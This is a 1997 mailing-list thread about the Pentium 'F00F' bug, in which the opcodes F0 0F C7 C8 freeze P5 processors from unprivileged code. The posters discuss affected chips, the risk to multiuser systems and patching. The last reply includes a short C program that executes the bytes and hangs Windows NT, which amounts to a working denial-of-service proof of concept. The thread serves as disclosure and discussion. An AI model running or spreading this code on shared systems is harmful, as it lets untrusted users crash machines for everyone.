Re: WARNING: Linux Intel Pentium Bug
whiz (whizpig@TIR.COM)
Fri, 07 Nov 1997 14:40:03 -0500
At 09:29 AM 11/7/97 -0800, Stefan Hudson wrote:
>On Fri, Nov 07, 1997 at 03:10:29AM +0000, ZombieMan wrote:
>> In article <3462ADCD.135B@noname.com>, <noname@noname.com> wrote:
>> > Check this out. If you execute F0 0F C7 C8 on a P5 it will lock
the
>> >machine up. This is true for any operating system including usermode
>> >Linux. It's pretty cool. Basically, the opcodes are an invalid form of
>> >cmpxchg8b eax with a lock prefix. Has anyone seen this before? The
>> >problem doesn't show itself for the Pentium Pro or Pentium 2.
>>
>> Cool. It also works (sic) from V86 mode, so if you want to play around,
just
>> use DOS debug under whatever DOS emulator the OS you are using provides.
>> Anyone try it on a Pentium MMX?
>
>Oh dear. This is very not good. Without knowing machine level programing
>as well as I should, is it possible to create a patch for the, in the Linux
>kernel for example? Will there be a significant performance hit?
>
>This code does NOT affect Cyrix 6x86 (166+ specifically, but probably all of
>them) processors. If you run a multiuser, untrusted system, I suggest
>reserving some at your local computer supplier... unless there is an easy
>fix for this, there is going to be a run on them.
>
>I don't know if AMD's Pentium-clone chips are vulnerable.
>
>[Someone Else]
>> This bug looks far worse that FPIV. Intel will probably be forced to
>> undergo an expensive recall, although I wonder just how Intel plans on
>> getting the broken Pentium on my IBM thinkpad fixed. I like to let
>> co-workers access my machine when it is hooked up to the network at work,
>> and will have to now severely restrict any such access.
>
>Well, it really only affects multiuser systems, where untrusted code can
>be executed. There are so many ways to lock Windows 95 up already, one
>more cause won't make that much of a difference, and that's the vast
>majority of Pentium users. But multiuser systems are in deep sh*t.
>
>Does anyone know if the process accounting in Linux will log the execution
>of this before it locks up the machine? I seem to remember that it logs
>on process completion, unfortunately.
>
>And is there an NT exploit for this?
The following unpriviledged, user-mode simple C code locks up my NT 4.0
(SP3+all current hotfixes applied) workstation solid, only hard reset
helps:
char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
main ()
{
void (*f)() = x;
f();
}